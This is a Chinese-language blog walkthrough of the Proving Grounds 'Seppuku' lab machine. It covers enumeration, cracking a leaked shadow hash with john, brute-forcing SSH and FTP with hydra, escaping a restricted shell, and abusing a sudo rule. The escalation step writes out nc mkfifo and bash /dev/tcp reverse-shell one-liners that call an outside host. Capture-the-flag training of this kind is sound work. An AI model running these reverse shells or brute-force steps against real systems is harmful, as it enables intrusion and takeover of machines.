Proving Grounds Play : Seppuku Walkthrough

 Proving Grounds Play : Seppuku Walkthrough


Foothold :

  • 網站發現 Private Key 與密碼檔
  • enum4linux 發現使用者帳號
  • hydra 破解後登入,但 shell 都有限制,後續帶入 -t "bash --noprofile" 解除限制

PE :

  • A 帳號 sudo -l 執行的命令在 B 帳號家目錄但不存在
  • 使用 B 帳號建立該執行檔建立 Reverse Shell
  • sudo 執行後提權成功


第一步 Rustscan,└─$ rustscan -a 192.168.235.90 --scripts none --ulimit 5000 | tee rustscan



snmp check



nmap

80/tcp   open  http          nginx 1.14.2 --> 需要驗證

7080/tcp open  ssl/empowerid LiteSpeed

7601/tcp open  http          Apache httpd 2.4.38 ((Debian))

8088/tcp open  http          LiteSpeed httpd



FTP 匿名登入失敗



FTP ftp:ftp 登入失敗



FTP 測試其他幾組常用帳號密碼一樣失敗



enum4linux

爬出三個使用者 seppuku、samurai、tanto



80 /



80 /robots.txt




7601 /



7601 /robots.txt



8088 /



8088 /robots.txt



7080 瀏覽器開不起來

執行 7601、8088 gobuster

7601 :



7601 /ckeditor



7601 /keys



7601 /keys/private



測試 tanto 使用該 Private Key 可以登入,└─$ ssh -i id_rsa tanto@192.168.235.90



不過看來整個被限制住,無法切換目錄甚麼事都做不了,應該是個兔子坑連 local.txt 都讀不到



回到 7601 的 gobuster 繼續往下看

7601 /production

先放著繼續往下看



下面有個很誘人的 URI /secret,該不會又是一個兔子坑吧



檔案 hostname



檔案 jack.jpg



檔案 passwd.bak 看來是 /etc/passwd

有個機車的使用者名稱 rabbit-hole



檔案 password.lst 看來是個密碼檔



檔案 shadow.bak,發現使用者 r@bbit-hole 的密碼加密值,跟剛剛的名字差了一個字

r@bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::



用 john 破解看看獲得密碼 a1b2c3



將 rabbit-hole、r@bbit-hole 加到使用者清單 usernames.txt



將使用者檔案複製一份為密碼檔,然後多寫一個第一個字大寫的使用者名稱當密碼

以及剛剛破解的密碼以及網站上顯示的密碼檔加到自製的密碼檔




然後用 hydra 先破解 FTP 看看,獲得一組有效憑證 seppuku:eeyoree



繼續試試看 SSH,獲得相同的憑證 seppuku:eeyoree



直接 SSH 測試登入成功,也獲取了 local.txt,這一次看來方向對了



home 目錄底下有個特別的檔案 .passwd,內容是 12345685213456!@!@A



su root 測試看看,GG.............果然沒有這麼簡單



但測試另外一個使用者 samurai 成功



hydra 測試看看確認是有效的憑證



原本 seppuku 的帳號跟 tanto 一樣都被限制住無法切換目錄



改用 samurai 的憑證登入一樣無法切換目錄



重新登入一次帶入 -t "bash --noprofule" 可以成功切換目錄了



再自己定義一下

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games" echo $PATH



sido -l

查了一下沒有該檔案



切換回使用者 seppuku 看一下 sudo -l



ln 這個命令是做 symbolic 建立符號連結的命令

/usr/bin/ln:這是 ln 指令的路徑,用來建立連結

-sf:這些是傳遞給 ln 指令的選項:

-s:建立符號連結

-f:如果目標檔案(或連結)已經存在,則將其刪除並替換

- /root/:這是來源目錄或檔案。在本例中,它是 /root/ 目錄

- /tmp/:這是將建立符號連結的目標目錄。該連結將具有與來源相同的名稱(在本例中為/root/)

參考 GTFO 如下



跑 GTFO 範例沒有成功,只能跑 sudo -l 中給的範例連結



執行完該指令切換到 /tmp 底下可以看到 /root 但無法進入



再次回到使用者 seppuku 的 sudo -l

知道 /home/tanto/.cgi_bin 目錄不存在,但是是執行 bin 且針對 /tmp/*

看來就是要我們利用這個 sudo -l 去修改 /tmp/* 底下的東西

然後再用剛剛的 symbolic 利用



/home/tanto/.cgi_bin 是使用者 tanto 的 HOME 目錄

所以再次用 SSH Key 登入去建立目錄與檔案 bin



接著在 bin 檔案中叫他去執行 /bin/bash 然後 rm 建立 Reverse Shell 回來

#!/bin/bash

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.200 4444 >/tmp/f



執行看看,無法執行,忘了給 x 到 bin

使用 chmod +x bin 再執行一次,結果顯示沒有 nc



修改 bin 改用最基本的 bash 建立連線試試看

#!/bin/bash

bash -c "bash -i >& /dev/tcp/192.168.45.200/4444 0>&1"



回到 samurai session 再執行一次



4444 進來了,因為是 sudo 執行的,所以進來就是 root,直接拿 flag




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)